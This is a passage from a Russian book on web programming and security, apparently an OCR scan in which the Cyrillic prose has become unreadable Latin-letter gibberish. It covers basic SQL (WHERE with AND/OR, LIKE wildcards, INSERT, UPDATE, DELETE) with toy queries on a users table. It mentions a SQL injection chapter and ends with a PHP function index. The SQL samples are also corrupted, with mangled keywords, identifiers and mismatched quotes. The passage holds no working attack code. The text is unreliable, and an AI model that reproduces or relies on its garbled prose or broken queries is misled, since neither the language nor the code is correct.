FROM lonssosaren
WHERE ymma = 'Aunpeii'

OR mMsg = '"Ceprei’

AND napone = 'qwerty"'

Kaxne 3anucy NMomaayT B pesyasTar? 3amucH ¢ MMeHem Annpeit n mobeiM napo-
neM wiu 3amuci ¢ umenem Cepreii 1 naposnem gwerty, Ecnu'a'edﬁxonuuo, yrobsl

yc/IoBHe MPOBEPKH MAaposisi OTHOCKIOCE K 00OMM MMEHEM, TO HY)XXHO MCMO/Ib30-
BATh KPyrible cKobKu:

SELECT *

FROM [lonssopaTenm

WHERE (mma = "REnpeit’

OR vmn = 'Cepreit')

AND napons = 'qQwerty'
Teneps umst Moxer OuiTs wiu Annpeit, wiu Cepreif, Ho napons obs3arensHo
lo/xeH BuITh gwerty, HHa4Ye 3anuch He MONaneT B pesyasTar.
Jlornueckue onepaTophbl BEIMOMHAIOTCS CEPBEPOM B ClEAYIONIEM MOPSAKe:
O noruveckas onepauusa NOT;

O noruveckas onepauus AND;

0 normyeckas onepauns OR.

Bro 3HaunuT, 9ro onepatrop NOT mmeer Gonsuuit npuopurer, yem AND, w, cie-
DoBaTeIbHO, GYAeT BLIMTOJIHATLCS paHbILE.

Hepenko nonb3osareisiM HYXHO HaiTH KaKHe-TO CTPOKH, B HAMMUCAHWUM KOTOPHIX
OHH He yBepeHsl. Hampumep, mosib30BaTeNM MOTYT BBECTH B 0asy maHHBIX WMA
Cepreit wim, no omubke, Cepren. Yrobbr orobpasuTs U TO, W Apyroe (a Moxer
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66ITh, W TPETHIT BAPHAHT), HYXHO NMPUMEHATH 1uabnoHsl. B naHHOM cnyuae HYX-
HO HAWTH BCE CTPOKW, B KOTOPLIX B MOJE wma 3HAYEHUs HavyuHaloted ¢ "Cepre”,
a Bce, YTO MIET rnocne, He UIPaeT Poin. BSQmeomepemuo Ecmu BB He
3Haere, KK JMODKHA 3aKOHYMTHCA CTPOKA, TO MOXHO TIOCTABATH 3HAK % (Ipo-
uent). Hanpumep:

SELECT *

WHERE mvan LIKE 'Cepre%'

3HaK MPOLEHTA TAKKE MOXET HAXOAMThCS B HAYANe WIH B CEPeAMHE CJIOBA, Ha-

npuMep, CAeayIomMH 3anpoc BHIGUpaeT Bee HMEHA, HAUNHAIOLIMESS! Ha ﬁylmy "c"
W 3akaHunBaloluecs Gyksoit "i":

SELECT *
FROM TonesosaTenm
WHERE mmua LIRE 'C¥it’

MaHunynauum gaHHbIMm -
Ina nobasielusi CTPOK MCTIONB3YETCS ONEPATOp INSERT INTO, KOTOPhIH HMEET BHIL

INSERT INTO TaGmuua (imseHa_nofieit_wepes_sanarym)
VALUES (3uaueHun)

Hanpuwmep, creayioumit sanpoc aobasnsier B tTabauiy sanuch ¢ umeHem Bacwinit
H TapojieM ytrewq:

INSERT INTO [lonesopaTernm (#MMa, Napoib)

VALUES (Bacumwit, ytrewq)

Ins usMeHeHWs TAHHbLIX UCTIONB3YETCS ONEPATOP UPDATE:

UPDATE Tafimaua

SET HaspaHWe_nonA=3HausHWe

WHERE YciioBie BRIGOPM

[Tocse KIIOYEBOTO CJI0BA SET BbL JOJDKHLL NIPUCBOMTH HYKHOMY MOMI0 HOBOE 3Ha-
YeHKe, 4 1ocne WHERE yKasbiBaercs yciaosue Buibopxu. Ecnu yonosue He 3amamo,
TO U3MEHSIOTCA BCe CTPOKM Tabimubl. Hanpumep, cnenyionivii 3anpoc nossossier
3anarh BCEM MOJB30BATENSIM NAPOJb qwerty:

UPDATE lNonssoBaTeni

SET napons='"gqwerty'

Y1066l H3MEHUTH NAPONb KOHKPETHOMY ITO/Ib30BATENIO, 3a/1aeM YCIoBHE BhiGOp-
KM, KaK U B ONeparope SELECT:

UPDATE Monk230BaTemM

SET papose='qwerty'

WHERE ums="'Cepreit'
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DroT 3ampoc HIMEHHUT NApoib TOJLKO Nok3osareio ¢ HMeHem Cepreii.

[t ynaneHusi 3anmvMceil MCTIONB3yeTCs ONeparop DELETE, KOTOPLI B obiueM Buae
BBIUALAT CAEAYIOUHM obpasom:

DELETE FROM TaGmua

WHERE Ycnopme noucka

Ecau ycnosue moucka He 3amaHo, TO yjansiorcss Bee 3anmcn. Hanpumep,
caenyoumi sanpoc ouyuuiaer rabnuuy noss3osareneii:

DELETE FROM [lonesoBaTesm

Yrobbl ynanuts M3 TaGAMUBI TOMBKO KOHKPETHOrO MONB30OBATENs, HYXKHO TNpa-
BHJIBHO yKa3aTh ycloBue noucka. Hanpumep, cnenyiommit sanpoc yaansier Tofikb-
KO nosb3osarens ¢ umexem Cepreit:

DELETE FROM [lons2oBamend

WHERE mma='Cepres'

910 TONBKO OCHOBEI f3bIKa SQL, HO MX yXe JOCTATOMHO WA MaHHITyTHPOBAHNA
NAHHBIMM W [UIA MOHMMAHHMSI MATEPUANA KHUIM (HANPHMEp, OMUCAHMS ATaku
SQL Injection, pacemorpenHoii B pazdese 2.8.2).
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SQL Injection, Tun araxu 161
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DELETE 284
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INSERT 283
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WHERE 280
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file_uploads 217
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Google 123
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P

Perucrpaums 241
Perynapnslie polpaxerus 143
Perl 150
PHP 145
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Ceanc 85
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Coker 251

Cuenapun JavaScript 138

T
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oTKkpbiTHE 96
nepenmeHosanne 106
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Onyn 180 is_dir() 105
@opwmar BLIENEHUS is_executable() 105
PHP-xona 20 is_file() 105
®yukuus 60 is_readable() 105
chdir() 107 is_writable() 105
copy() 105 IsSet() 36
count() 70 mail() 268
date() 104 merypt_ecb() 175
define() 42 md5() 177
echo() 30 mkdir() 107
ereg() 144 mktime() 92
ereg_replace() 144 ob_end_flush() 205
eregi() 144 ob_get_contents() 205
eregi_replace() 145 ob_get_length() 205
exec() 135 ob_start() 205
fclose() 97 opendir() 107
feof() 102 passthru() 135
fgete() 100 phpinfo() 23
fgets() 98 preg_match() 153
fgetss() 99 preg_match_all() 154
file() 99, 211 preg_replace() 67

file_exists() 103
fileatime() 104
filectime() 103
fopen() 96
fpassthru() 100
fread() 97

fseek() 102
fsockopen() 253
ftell() 103

fwrite() 101

getewd() 106
gethostbyaddr() 249
gethostbyname() 249
gethostbynamel() 249
getservbyname() 250
getservbyport() 250
htmlspecialchars() 139
include() 25
include_once() 25

preg_split() 155
print() 23, 30, 210
psockopen() 253
readdir() 108
readfile() 100, 211
rename() 106
require() 25
require_once() 25
rewind() 103
rindir() 107
session_start() 85
setcookie() 90
shell_exec() 135
socket_accept() 252
socket_bind() 252
socket_connect() 252
socket_create() 251
socket_listen() 252

(oxonuanue pyGpuku em. sHa cmp. 293)
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